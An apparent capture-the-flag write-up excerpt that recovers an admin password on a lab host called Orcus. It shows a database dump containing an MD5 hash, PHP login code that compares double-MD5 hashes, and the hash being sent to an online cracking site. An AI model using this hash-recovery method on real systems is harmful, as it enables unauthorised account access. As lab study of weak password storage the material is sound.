INSERT INTO `settings` (`sid`, `sett_name`, `sett_value`) VALUES
(1, 'site_url', 'ضع رابط موقع هنا . - put your website url here'),
(2, 'site_name', ''),
(3, 'site_descrip', ''),
(4, 'google_code', ''),
(5, 'email', ''),
(6, 'password', '8a8e83876e81242bee8a620b2967dc33'),
(9, 'site_keywords', ''),
(8, 'visits', ''),
(7, 'last_login', ''),
(10, 'theme_name', 'default');
[...]
Looking at the ad-user.php file, it appears that passwords are double md5 encoded before being checked against the database.
root@Orcus:/var/www/html/Adem# cat ad-user.php
[...]
if(isset($_POST['password'])){
$return = [];
if(!empty($_POST['password'])){
$post_password = clearPOST($_POST['password']);
$passINDB = $loginDB->getSettingVal("password");
$passwordMD5 = md5(md5($post_password));
if($passwordMD5 == $passINDB){
[...]
I decided to submit this hash to the MD5 Cracker Page here https://hashkiller.co.uk/Cracker/MD5 and got a result... though not a surprising one.